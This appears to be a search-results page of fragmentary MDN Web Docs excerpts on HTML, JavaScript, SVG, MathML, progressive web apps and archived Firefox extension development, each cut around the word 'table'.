...ml5the definition of 'global attributes' in that specification. recommendation snapshot of html living standard. from html 4.01 specification, the concept of global attributes is introduced and the dir, lang, style, id, class, tabindex, accesskey, and title are now true global attributes. xml:lang which was initially part of xhtml, is now also part of html. hidden, data-*, contentedi
table, and translate have been added. html 4.01 specification recommendation there are no global attributes defined. several attributes that will become global attributes in subsequent specifications are defined on a subset of elements. class and style are supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>. dir is sup...
Grammar and types - JavaScript
r variant.) undefined. a top-level property whose value is not defined. number. an integer or floating point number. for example: 42 or 3.14159. bigint. an integer with arbitrary precision. for example: 9007199254740992n. string. a sequence of characters that represent a text value. for example: "howdy" symbol (new in ecmascript 2015). a data type whose instances are unique and immu
table. and object although these data types are relatively few, they enable you to perform useful functions with your applications. objects and functions are the other fundamental elements in the language. you can think of objects as named containers for values, and functions as procedures that your script can perform. data type conversion javascript is a dynamically typed language. this mean...
..."foo": ${foo}, "bar": ${bar}}`(myonreadystatechangehandler); you should use string literals unless you specifically need to use a string object. see string for details on string objects. using special characters in strings in addition to ordinary characters, you can also include special characters in strings, as shown in the following example. ...
...d use string literals unless you specifically need to use a string object. see string for details on string objects. using special characters in strings in addition to ordinary characters, you can also include special characters in strings, as shown in the following example. 'one line \n another line' the following
table lists the special characters that you can use in javascript strings. ...
...ol. \uxxxx the unicode character specified by the four hexadecimal digits xxxx. for example, \u00a9 is the unicode sequence for the copyright symbol. see unicode escape sequences. \u{xxxxx} unicode code point escapes. for example, \u{2f804} is the same as the simple unicode escapes \ud87e\udc04. escaping characters for characters not listed in the
table, a preceding backslash is ignored, but this usage is deprecated and should be avoided. you can insert a quotation mark inside a string by preceding it with a backslash. this is known as escaping the quotation mark. for example: var quote = "he read \"the cremation of sam mcgee\" by r.w. service."; console.log(quote); the result of this would be: he read "the cremation of sam mcgee" by r.w. s...
Meta programming - JavaScript
ften used as storage backend for the proxy. invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target. invariants semantics that remain unchanged when implementing custom operations are called invariants. if you violate the invariants of a handler, a typeerror will be thrown. handlers and traps the following
table summarizes the available traps available to proxy objects. see the reference pages for detailed explanations and examples. handler / trap interceptions invariants handler.getprototypeof() object.getprototypeof() reflect.getprototypeof() __proto__ object.prototype.isprototypeof() instanceof getprototypeof method must return an object or...
...it exists as an own property of target and target is not extensible. handler.get() property access proxy[foo] proxy.bar inherited property access object.create(proxy)[foo] reflect.get() the value reported for a property must be the same as the value of the corresponding target property if target's property is a non-wri
table, non-configurable data property. the value reported for a property must be undefined if the corresponding target property is non-configurable accessor property that has undefined as its [[get]] attribute. handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {js...
...tribute. handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {jsxref("reflect.set()")}} cannot change the value of a property to be different from the value of the corresponding target property if the corresponding target property is a non-wri
table, non-configurable data property. cannot set the value of a property if the corresponding target property is a non-configurable accessor property that has undefined as its [[set]] attribute. in strict mode, a false return value from the set handler will throw a typeerror exception. handler.deleteproperty() property deletion delete proxy[foo] dele...
...the methods are the same as those of the proxy handlers. reflect is not a function object. reflect helps with forwarding default operations from the handler to the target. with reflect.has() for example, you get the in operator as a function: reflect.has(object, 'assign') // true a better apply function in es5, you typically use the function.prototype.apply() method ...
Character classes - JavaScript
do not forget to edit it as well, thanks! characters meaning . has one of the following meanings: matches any single character except line terminators: \n, \r, \u2028 or \u2029. for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day". inside a character set, the dot loses its special meaning and matches a literal dot. note that the m multiline flag doesn't change the dot behavior. ...
... in other words to search for \ use /\\/. examples looking for a series of digits var randomdata = "015 354 8787 687351 3512 8735"; var regexpfourdigits = /\b\d{4}\b/g; // \b indicates a boundary (i.e. do not start matching in the middle of a word) // \d{4} indicates a digit, four times // \b indicates another boundary (i.e. do not end matching in the middle of a word) console.
table(randomdata.match(regexpfourdigits)); // ['8787', '3512', '8735'] looking for a word (from the latin alphabet) starting with a var aliceexcerpt = "i’m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpwordstartingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. do not start matching in the middle of a word)...
...ng with a var aliceexcerpt = "i’m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpwordstartingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. do not start matching in the middle of a word) // [aa] indicates the letter a or a // \w+ indicates any character *from the latin alphabet*, multiple times console.
table(aliceexcerpt.match(regexpwordstartingwitha)); // ['ada', 'and', 'at', 'all'] looking for a word (from unicode characters) instead of the latin alphabet, we can use a range of unicode characters to identify a word (thus being able to deal with text in other languages like russian or arabic). the "basic multilingual plane" of unicode contains most of the characters used around the world and we c...
...ic). the "basic multilingual plane" of unicode contains most of the characters used around the world and we can use character classes and ranges to match words written with those characters. var nonenglishtext = "Приключения Алисы в Стране чудес"; var regexpbmpword = /([\u0000-\u0019\u0021-\uffff])+/gu; // bmp goes through u+0000 to u+ffff but space is u+0020 console.
table(nonenglishtext.match(regexpbmpword)); [ 'Приключения', 'Алисы', 'в', 'Стране', 'чудес' ] note for mdn editors: please do not try to add funny examples with emoji as those characters are not handled by the platform (kuma). specifications specification ecmascript latest draft (ecma-262)the definition of 'regexp: character classes' in that specific...
Object.getOwnPropertyDescriptor() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...se description of a property. a property in javascript consists of either a string-valued name or a symbol and a property descriptor. further information about property descriptor types and their attributes can be found in object.defineproperty(). a property descriptor is a record with some of the following attributes: value the value associated with the property (data descriptors only). wri
table true if and only if the value associated with the property may be changed (data descriptors only). get a function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only). set a function which serves as a setter for the property, or undefined if there is no setter (accessor descriptors only). configurable true if and only if the type of this...
...es using object.getownpropertydescriptor var o, d; o = { get foo() { return 17; } }; d = object.getownpropertydescriptor(o, 'foo'); // d is { // configurable: true, // enumerable: true, // get: /*the getter function*/, // set: undefined // } o = { bar: 42 }; d = object.getownpropertydescriptor(o, 'bar'); // d is { // configurable: true, // enumerable: true, // value: 42, // wri
table: true // } o = { [symbol.for('baz')]: 73 } d = object.getownpropertydescriptor(o, symbol.for('baz')); // d is { // configurable: true, // enumerable: true, // value: 73, // wri
table: true // } o = {}; object.defineproperty(o, 'qux', { value: 8675309, wri
table: false, enumerable: false }); d = object.getownpropertydescriptor(o, 'qux'); // d is { // value: 8675309, // wri
table: ...
...s method is not an object (a primitive), then it will cause a typeerror. in es2015, a non-object first argument will be coerced to an object at first. object.getownpropertydescriptor('foo', 0); // typeerror: "foo" is not an object // es5 code object.getownpropertydescriptor('foo', 0); // object returned by es2015 code: { // configurable: false, // enumerable: true, // value: "f", // wri
table: false // } specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptor' in that specification. ...
WebAssembly.Global - JavaScript
this allows dynamic linking of multiple modules. constructor webassembly.global() creates a new global object. global instances all global instances inherit from the global() constructor's prototype object — this can be modified to affect all global instances. instance properties global.prototype.constructor returns the function that created this object's instance. by default this is the webassembly.global() constructor. ...
... inside the global variable — this can be used to directly set and get the global's value. instance methods global.prototype.valueof() old-style method that returns the value contained inside the global variable. examples creating a new global instance the following example shows a new global instance being created using the webassembly.global() constructor. it is being defined as a mu
table i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). const output = document.getelementbyid('output'); function asserteq(msg, got, expected) { output.innerhtml += `te...
...put'); function asserteq(msg, got, expected) { output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! ...
...al(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code. specifications specification webassembly javascript interfacethe definition of 'webassembly.global()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsglobalchrome full support ...
<mlabeledtr> - MathML
possible values are: left, center and right. groupalign href used to set a hyperlink to a specified uri. ...
...ermined using the side attribute on the <m
table> element). child elements of <mlabeledtr> must be <mtd> elements. the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements. attributes class, id, style provided for use with stylesheets. columnalign overrides the horizontal alignment of cells specified by <m
table> for this row. possible values are: left, center and right. groupalign href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign overrides the vertical alignment of cells specified by <m
table> for this row. possible values are: a...
...ref used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign overrides the vertical alignment of cells specified by <m
table> for this row. possible values are: axis, baseline, bottom, center and top. ...
... recommendation current specification mathml 2.0the definition of 'mlabeledtr' in that specification. ...
Introduction to progressive web apps - Progressive web apps (PWAs)
overview: progressive web apps next this article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps. what is a progressive web app? the term "progressive web app" isn't a formal or official name. it's just a shorthand used initially by google for the concept of creating a flexible, adap
table app using only web technologies. pwas are web apps developed using a number of specific technologies and standard patterns to allow them to take advantage of both web and native app features. for example, web apps are more discoverable than native apps; it's a lot easier and faster to visit a website than to install an application, and you can also share web apps by simply sending a link. on the other h...
...hare it by simply sending a url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on a basic level on older browsers, but fully-functional on the latest ones. re-engageable, so it's able to send notifications whenever there's new content available. responsive, so it's usable on any device with a screen and a browser—mobile phones,
tablets, laptops, tvs, refrigerators, etc. safe, so the connections between the user, the app, and your server are secured against any third parties trying to get access to sensitive data. offering these features and making use of all the advantages offered by web applications can create a compelling, highly flexible offering for your users and customers. is it worth doing all that? absolutely! wi...
...uests (for example storing them offline), the cache api for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as web storage and indexeddb to store application data offline. progressive enhancement suppport modern web apps can be developed to provide an excellent experience to fully capable browsers, and an accep
table (although not quite as shiny) experience to less capable browsers. we've been doing this for years with best practices such as progressive enhancement. by using progressive enhancement, pwas are cross-browser. this means developers should take into account the differences in implementation of some pwa features and technologies between different browser implementations. re-engageability one ma...
... controlling pages, the web push api for sending updates straight from server to app via a service worker, and the notifications api for generating system notifications to help engage users when they're not actively using their web browser. responsiveness responsive web apps use technologies like media queries and viewport to make sure that their uis will fit any form factor: desktop, mobile,
tablet, or whatever comes next. safety the web platform provides a secure delivery mechanism that prevents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind. it's also easy for users to ensure that they're installing the right app, because its url will match your site's domain. this is...
preserveAspectRatio - SVG: Scalable Vector Graphics
ll draw is larger than the viewport). elements seven elements are using this attribute: <svg>, <symbol>, <image>, <feimage>, <marker>, <pattern>, and <view>. feimage for <feimage>, preserveaspectratio defines how the referenced image should fit in the rectangle define by the <feimage> element. value <align> <meetorslice>? default value xmidymid meet anima
table yes image for <image>, preserveaspectratio defines how the referenced image should fit in the rectangle define by the <image> element. value <align> <meetorslice>? default value xmidymid meet anima
table yes marker for <marker>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value ...
...ed image should fit in the rectangle define by the <image> element. value <align> <meetorslice>? default value xmidymid meet anima
table yes marker for <marker>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes pattern for <pattern>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes svg for <svg>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meeto...
...cates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes svg for <svg>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes symbol for <symbol>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes view for <view>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meeto...
...tes if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes view for <view>, preserveaspectratio indicates if a uniform scaling must be performed to fit the element viewport. value <align> <meetorslice>? default value xmidymid meet anima
table yes specification specification status comment filter effects module level 1the definition of 'preserveaspectratio' in that specification. working draft scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification. candidate recommendation scalable vector graphics (svg) 1.1 (second edition)th...
type - SVG: Scalable Vector Graphics
type of component transfer function. for the <feturbulence> element, it indicates whether the filter primitive should perform a noise or turbulence function. for the <style> and <script> elements, it defines the content type of the element. ...
...content type of the element. ...
...no normative document svg 1.1 (2nd edition) for the <fecolormatrix> element categories none value matrix | saturate | huerotate | luminancetoalpha anima
table yes normative document svg 1.1 (2nd edition) for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements categories none value identity |
table | discrete | linear | gamma anima
table yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence anima
table yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content...
...| gamma anima
table yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence anima
table yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content-type> anima
table no normative document svg 1.1 (2nd edition) : script svg 1.1 (2nd edition) : style example elements the following elements can use the values attribute <animatetransform> <fecolormatrix> <fefunca> <fefuncb> <fefuncg> <fefuncr> <feturbulence> <script> <style> ...
<circle> - SVG: Scalable Vector Graphics
the <circle> svg element is an svg basic shape, used to draw circles based on a center point and a radius. html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle. ...
... html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle. value type: <length>|<percentage> ; default value: 0; anima
table: yes cy the y-axis coordinate of the center of the circle. value type: <length>|<percentage> ; default value: 0; anima
table: yes r the radius of the circle. a value lower or equal to zero disables rendering of the circle. ...
...s cx the x-axis coordinate of the center of the circle. value type: <length>|<percentage> ; default value: 0; anima
table: yes cy the y-axis coordinate of the center of the circle. value type: <length>|<percentage> ; default value: 0; anima
table: yes r the radius of the circle. a value lower or equal to zero disables rendering of the circle. value type: <length> ; default value: 0; anima
table: yes pathlength the total length for the circle's circumference, in user units. value type: <number> ; default value: none; anima
table: yes note: starting with svg2, cx, cy, and r are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditio...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number ...
<line> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg> attributes x1 defines the x-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes x2 defines the x-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes y1 defines the y-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes y2 defines the y-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; def...
...he x-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes y1 defines the y-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes y2 defines the y-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes pathlength defines the total path length in user units. ...
...le: yes y1 defines the y-axis coordinate of the line starting point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes y2 defines the y-axis coordinate of the line ending point. value type: <length>|<percentage>|<number> ; default value: 0; anima
table: yes pathlength defines the total path length in user units. ...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number ...
<rect> - SVG: Scalable Vector Graphics
ay have their corners rounded. html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect. value type: <length>|<percentage> ; default value: 0; anima
table: yes y the y coordinate of the rect. value type: <length>|<percentage> ; default value: 0; anima
table: yes width the width of the rect. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes height the height of the rect. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes rx the horizontal corner radius of the rect. defaults to ry if it...
...t value: 0; anima
table: yes width the width of the rect. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes height the height of the rect. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes rx the horizontal corner radius of the rect. defaults to ry if it is specified. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes ry the vertical corner radius of the rect. defaults to rx if it is specified. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes pathlength the total length of the rectangle's perimeter, in user units. ...
.... defaults to ry if it is specified. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes ry the vertical corner radius of the rect. defaults to rx if it is specified. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes pathlength the total length of the rectangle's perimeter, in user units. value type: <number> ; default value: none; anima
table: yes note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, g...
..., aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselec
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number ...
<script> - SVG: Scalable Vector Graphics
ing(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element. ...
....addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element. value type: <string>; default value: ?; anima
table: yes href the url to the script to load. value type: <url> ; default value: none; anima
table: no type this attribute defines type of the script language to use. ...
.../svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element. value type: <string>; default value: ?; anima
table: yes href the url to the script to load. value type: <url> ; default value: none; anima
table: no type this attribute defines type of the script language to use. value type: <string>; default value: application/ecmascript; anima
table: no xlink:href deprecated since svg 2 the url to the script to load. ...
...pe: <string>; default value: ?; anima
table: yes href the url to the script to load. value type: <url> ; default value: none; anima
table: no type this attribute defines type of the script language to use. value type: <string>; default value: application/ecmascript; anima
table: no xlink:href deprecated since svg 2 the url to the script to load. ...
Running applications - Archive of obsolete content
ms. using nsiprocess the recommended way is to use the nsiprocess interface because it is crossplatform. ...
...file, so for execu
table files—it will just run the file without any parameters. for more information on nsifile/nsilocalfile, see file i/o. var file = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); file.initwithpath("c:\\myapp.exe"); file.launch(); references nsiprocess nsilocalfile if you need to launch an execu
table bundled in your xpi, see code snippets:file i/o#getting your extension's folder. ...
... nsifile/nsilocalfile, see file i/o. ...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
re also restricted. this use permit is displayed when you install the software. when the user clicks “i agree,” the installation process finishes. software range of uses restricted to author unrestricted software license >> usable within permitted scope restricted use within permitted scope fixme: wow, the
table is weird! so what’s an oss license? so now you’re wondering, what conditions does an oss license place on software? this can be briefly answered by the open source definition, which was determined by the open source initiative (osi). this covers three rights and six conditions. what is important to us now is the following three rights: open source rights: a user can create and distribu...
...ir characteristics the details of oss licenses vary from one license to the next. i’ll look at three representative licenses here, and explain some of their features and relevant points. most attempts at explaining open source start with the gpl. this is the longest, most complicated, and hardest to understand. so instead, i’m going to start with the simplest, the modified bsd license. ...
...when you require that any modifications to your source code must also be released under the same terms. the following tasks can be considered modifications revision: rewriting the source code; addition: adding new code, or adding parts of it to other code; linkage: creating static or dynamic links. depending on what kind of modifications you envision, you can choose your license as follows.
table: what tasks are considered modifications? license revision addition static link dynamic link gpl y y y y lgpl y y y n mpl y y n n if you release software under the gpl, lgpl, or mpl, any modifications to it must also be released. however, if the modified version is never distributed, it need not be release...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
should be very easy for java programmers to get up to speed on it quickly. installing mozunit is a feature of mozlab. install mozlab from the following url and relaunch firefox. http://hyperstruct.net/projects/mozunit after relaunching, set up the editor you’ll use to write tests. open the about:config screen and edit the extensions.mozlab.mozunit.editor property. parameters are as shown in
table 1. if you want to use terapad2, for example, insert the following: c:\app\tpad090\terapad.exe /jl=%l %f
table 1: parameters used in mozunit parameter description %f filename %l line number %c column number the author uses meadow, which is opened using gnuserv. c:\ap...
... out calc.js. update it with the contents of listing 3. run test run the test again. you should see a green bar showing that the test succeeded. implement the subtraction operation now let’s add subtraction. create test case first, add the test case for the subtraction method. open test_calc.js and update it with the method in listing 4. implement in calc.js next we need to add the execu
table code. this will work much as it did for addition. update calc.js with the method in listing 5. run test if we run the test at this point, we’ll get a red bar. what’s the matter? the screen will display “expected -1, got 1”. somehow, using pop() got the order of the arguments mixed up. so let’s update the _letfunc function as shown in listing 6. if we run the test again, we should get...
...de search engine from satoru takabayashi, the well-known developer of the namazu search engine software. fixme: not sure we should talk about this tool installation windows users can take advantage of a self-contained version created by soutaro matsumoto called “gonzui for win32” http://soutaro.com/gonzui-win32/ run it as follows: download gonzui-win32-1.2.2.zip and expand it into a sui
table directory. download the firefox source code and place it in the same directory as gonzui (simply because it’s easier to specify a file that’s in the same directory). open a command prompt and navigate to the directory containing gonzui. the next command will import the source code: gonzui-import.exe mozilla once the import process is complete, type the following command to launch the gonz...
Chapter 1: Introduction to Extensions - Archive of obsolete content
se gestures, extensive toolbars and buttons, a feed reader, integration with a variety of web applications, or sophisticated tools to assist with web design. but we didn't set out to create an all-in-one browser that can satisfy everyone. instead, firefox can support these features through extensions. the core browser is limited to basic features, so it’s something that a beginner can be comfor
table with, but users who want something beyond that can install extensions. about extensions management using the add-ons manager firefox's add-ons manager is an excellent way to manage extensions, and is a great step up in ease of use. the add-ons manager handles the following tasks: safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're ...
...date this. these are sophisticated extensions that can be considered full-scale applications in their own right, essentially using firefox as the development platform. one-trick gag extensions fixme: update this. there are a number of one-trick gag extensions that aren’t very useful. this is a very brief survey of a few extensions, but there are many other unique extensions available.
table 1: advanced customization methods for firefox customization method does it work for web sites? does it work for firefox? user style sheets (change appearance through css) yes; you can change the usercontent.css file, or use the stylish extension. yes; you can change the userchrome.css file, or use the stylish extension. user scripts (chang...
... user scripts (change appearance and functionality through javascript) yes; you can use the greasemonkey extension or "bookmarklets." yes; you can change userchrome.js to add functionality through javascript. extensions (these can do anything) yes yes theming (this changes the look of the browser) no yes let's build an extension
table 1 shows the various customization options available to a user in firefox. users have flexible customization options, using css in user style sheets and javascript/dom in user scripts (these depend on stylish, greasemonkey, and userchrome.js). in addition to css and javascript, extensions can take advantage of xul and xpcom technologies for more sophisticated features. themes, which alter firefox...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
bute('href'))"); } escaping functions when the code fragment in question is not an event handler attribute and there is no feasible way to pass the data through other means, they must be escaped with functions such as uneval, string.quote, json.stringify, or number. generating scripts in this matter is deprecated and should be avoided wherever possible, but is relatively safe and sometimes accep
table. function createscript(href, otherstuff) { var script = function (href, otherstuff) { dostuffwith(href); dootherstuff(); for (var somestuff in otherstuff) dosomemorestuffwith(somestuff); } return script.tosource() + "(" + [string.quote(href), uneval(otherstuff)] + ")"; } safely using remote html in the above cases, we're working with text conten...
...do this. for webextensions the most simple way is sanitize the output about javascript inline declaration and other wrong content. for xul addon based the nsiparserutils.parsefragment() method will convert a string to a document fragment while removing any scripts or other unsafe content in the process. let { cc, ci } = require("chrome"); /** * safely parse an html fragment, removing any execu
table * javascript, and return a document fragment. * * @param {document} doc the document in which to create the * returned dom tree. * @param {string} html the html fragment to parse. * @param {boolean} allowstyle if true, allow <style> nodes and * style attributes in the parsed fragment. gecko 14+ only. * @param {nsiuri} baseuri the base uri relative to which resource * urls sho...
... document.body.appendchild(parsehtml(document, xhr.responsetext, true, xhr.channel.uri)); see also displaying web content in an extension without security issues how to create a dom tree node.textcontent node.appendc...
XPCOM Objects - Archive of obsolete content
ulschool.prefobserver = { init: function() { this._prefservice = cc["@mozilla.org/preferences-service;1"].getservice(ci.nsiprefbranch2); // pass 'this' as if it implemented nsiobserver. this._prefservice.addobserver( "extensions.xulschoolhello.somepref", this, false); }, observe : function(asubject, atopic, adata) { // do stuff here. } }; finally, here's a
table summarizing the types you will most likely encounter in xpcom interfaces, and how to handle them: js type idl types notes strings autf8string, string, wstring, char*, others historically there have been several string types in xpcom. the currently favored type for most cases is autf8string. you can read more about it in the xpcom string guide. integers s...
...lo world project with xpcom to see how xpcom files are structured in the project and built. (your build will probably break, we'll cover this later on.) in the components directory, the file xsihellocounter.idl has the following contents: #include "nsisupports.idl" /** * counter for the hello world extension. keeps track of how many times the * hello world message has been shown. */ [scrip
table, uuid(bd46f689-6c1d-47d0-bc07-bb52b546b8b5)] interface xsihellocounter : nsisupports { /* the maximum allowed count. */ const short max_count = 100; /* the current count. */ readonly attribute short count; /** * increments the display count and returns the new count. * @return the incremented count. */ short increment(); }; the bits about nsisupports are common to most x...
...ost xpcom interface definitions. nsisupports is the base interface for all interfaces, so it should always be included, except for cases where your interface extends another interface. in those cases you just need to replace nsisupports with the interface you're extending. you can also extend from multiple interfaces, by including a comma-separated list of interfaces instead of only one. [scrip
table, uuid(bd46f689-6c1d-47d0-bc07-bb52b546b8b5)] the scrip
table qualifier says that this component can be accessed from js code. this can also be specified on a per-method basis, which is something you'll see in some of the interfaces in firefox, but it's not likely you'll have to do it in your own components. the second part defines a uuid for the interface. you must generate a new one for each i...
List of Mozilla-Based Applications - Archive of obsolete content
plications is also available. name description additional information 389 directory server ldap server uses nss a380 seatback entertainment system media software this blog post mentions a reference to mozilla being used but i couldn't find more information about it. ...
...dor e-book reader lx-office accounting tool looks like it makes at least some use of xul maavis simple ui & communications for accessibility framework designed for elderly people with dementia but other applications mac os x operating system makes use of some mpl files such as libsecurity_asn1 maemo browser browser for maemo internet
tablet development name is microb magooclient business process management tool uses mozilla rhino mantra security tool mccoy secure update tool for add-ons xulrunner application mediacoder media converter transcoder for video, audio, and even devices such as zen, zune, pocketpcs, ipods, and psps mekhala browser part of the k...
... stylizer css editor css editor css editor with built-in firebug-like diagnostics and gecko 1.8 preview sun java enterprise system server products uses nss sundial browser with advanced domain name technology based on firefox surfeasy private and secure web browsing sweet16 apple ii computer emulator uses spidermonkey as a scrip
